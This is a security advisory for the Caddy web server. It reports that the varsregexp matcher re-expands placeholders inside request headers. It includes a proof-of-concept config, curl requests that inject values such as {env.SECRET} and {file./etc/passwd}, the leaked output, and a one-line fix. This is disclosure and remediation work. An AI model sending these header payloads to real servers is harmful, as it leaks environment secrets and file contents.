Summary

The varsregexp matcher in vars.go:337 double-expands user-controlled input through the Caddy replacer. When varsregexp matches against a placeholder like {http.request.header.X-Input}, the header value gets resolved once (expected), then passed through repl.ReplaceAll() again (the bug). This means an attacker can put {env.DATABASEURL} or {file./etc/passwd} in a request header and the server will evaluate it, leaking environment variables, file contents, and system info.

headerregexp does NOT do this — it passes header values straight to Match(). So this is a code-level inconsistency, not intended behavior.

Details

The bug is at modules/caddyhttp/vars.go, line 337 in MatchVarsRE.MatchWithError():

go valExpanded := repl.ReplaceAll(varStr, "") if match := val.Match(valExpanded, repl); match {

When the key is a placeholder like {http.request.header.X-Input}, repl.Get() resolves it to the raw header value (first expansion, line 318). Then repl.ReplaceAll() runs on that value again (second expansion, line 337), which evaluates any {env.}, {file.}, {system.} placeholders the user put in there.

For comparison, headerregexp (matchers.go:1129) and pathregexp (matchers.go:703) both pass values directly to Match() without this second expansion.

This repl.ReplaceAll() was added by PR #5408 to fix #5406 (varsregexp not working with placeholder keys). The fix was needed for resolving the key, but it also re-expands the resolved value, which is the bug.

Side-by-side proof that this is a code bug, not misconfiguration — same header, same regex, different behavior:

Config with both matchers on the same server: json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [{"path": ["/headerregexp"], "headerregexp": {"X-Input": {"name": "hdr", "pattern": ".+"}}}], "handle": [{"handler": "staticresponse", "body": "headerregexp: {http.regexp.hdr.0}"}] }, { "match": [{"path": ["/varsregexp"], "varsregexp": {"{http.request.header.X-Input}": {"name": "var", "pattern": ".+"}}}], "handle": [{"handler": "staticresponse", "body": "varsregexp: {http.regexp.var.0}"}] } ] } } } } }

$ export SECRET=supersecretvalue123

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/headerregexp headerregexp: {env.HOME} # literal string, safe

$ curl -H 'X-Input: {env.HOME}' http://127.0.0.1:8080/varsregexp varsregexp: /Users/test # expanded — env var leaked

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/headerregexp headerregexp: {env.SECRET} # literal string, safe

$ curl -H 'X-Input: {env.SECRET}' http://127.0.0.1:8080/varsregexp varsregexp: supersecretvalue123 # secret leaked

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/headerregexp headerregexp: {file./etc/hosts} # literal string, safe

$ curl -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080/varsregexp varsregexp: ## # file contents leaked

PoC

Save this as config.json: json { "admin": {"disabled": true}, "apps": { "http": { "servers": { "srv0": { "listen": [":8080"], "routes": [ { "match": [ { "varsregexp": { "{http.request.header.X-Input}": { "name": "leak", "pattern": ".+" } } } ], "handle": [ { "handler": "staticresponse", "body": "Result: {http.regexp.leak.0}" } ] }, { "handle": [ { "handler": "staticresponse", "body": "No match", "statuscode": "200" } ] } ] } } } } }

Start Caddy: bash export SECRETAPIKEY=sk-PRODUCTION-abcdef123456 caddy run --config config.json

Requests and output:

$ curl -v -H 'X-Input: hello' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: hello Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 13 < Leaked: hello

$ curl -v -H 'X-Input: {env.HOME}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {env.HOME} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 20 < Leaked: /Users/test

$ curl -v -H 'X-Input: {env.SECRETAPIKEY}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {env.SECRETAPIKEY} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 34 < Leaked: sk-PRODUCTION-abcdef123456

$ curl -v -H 'X-Input: {file./etc/hosts}' http://127.0.0.1:8080 Trying 127.0.0.1:8080... Connected to 127.0.0.1 (127.0.0.1) port 8080 GET / HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: curl/8.7.1 Accept: / X-Input: {file./etc/hosts} Request completely sent off < HTTP/1.1 200 OK < Content-Type: text/plain; charset=utf-8 < Server: Caddy < Date: Wed, 18 Feb 2026 23:15:45 GMT < Content-Length: 10 < Leaked: ##

Also works with {system.hostname}, {system.os}, {env.PATH}, etc.

Debug log (server starts clean, no errors): {"level":"info","ts":1771456228.917303,"msg":"maxprocs: Leaving GOMAXPROCS=16: CPU quota undefined"} {"level":"info","ts":1771456228.917334,"msg":"GOMEMLIMIT is updated","GOMEMLIMIT":15461882265,"previous":9223372036854775807} {"level":"info","ts":1771456228.9173398,"msg":"using config from file","file":"config.json"} {"level":"warn","ts":1771456228.917349,"logger":"admin","msg":"admin endpoint disabled"} {"level":"info","ts":1771456228.917928,"logger":"tls.cache.maintenance","msg":"started background certificate maintenance","cache":"0x340775faa300"} {"level":"warn","ts":1771456228.920725,"logger":"http","msg":"HTTP/2 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"warn","ts":1771456228.920738,"logger":"http","msg":"HTTP/3 skipped because it requires TLS","network":"tcp","addr":":8080"} {"level":"info","ts":1771456228.920741,"logger":"http.log","msg":"server running","name":"srv0","protocols":["h1","h2","h3"]} {"level":"info","ts":1771456228.9210382,"msg":"autosaved config (load with --resume flag)"} {"level":"info","ts":1771456228.921052,"msg":"serving initial configuration"}

Impact

Information disclosure. An attacker can leak: - Environment variables ({env.DATABASEURL}, {env.AWSSECRETACCESSKEY}, etc.) - File contents up to 1MB ({file./etc/passwd}, {file./proc/self/environ}) - System info ({system.hostname}, {system.os}, {system.wd})

Requires a config where varsregexp matches user-controlled input and the capture group is reflected back. The bug was introduced by PR #5408 (fix for #5406), affecting all versions since.

Suggested one-line fix: diff --- a/modules/caddyhttp/vars.go +++ b/modules/caddyhttp/vars.go @@ -334,7 +334,7 @@ varStr = fmt.Sprintf("%v", vv) }

- valExpanded := repl.ReplaceAll(varStr, "") + valExpanded := varStr if match := val.Match(valExpanded, repl); match { return match, nil }

This makes varsregexp consistent with headerregexp and pathregexp. Placeholder key resolution (lines 315-318) is unaffected.

Tested on latest main commit at 95941a71 (2026-02-17).

AI Disclosure: Used Claude (Anthropic) during code review and testing. All findings verified manually.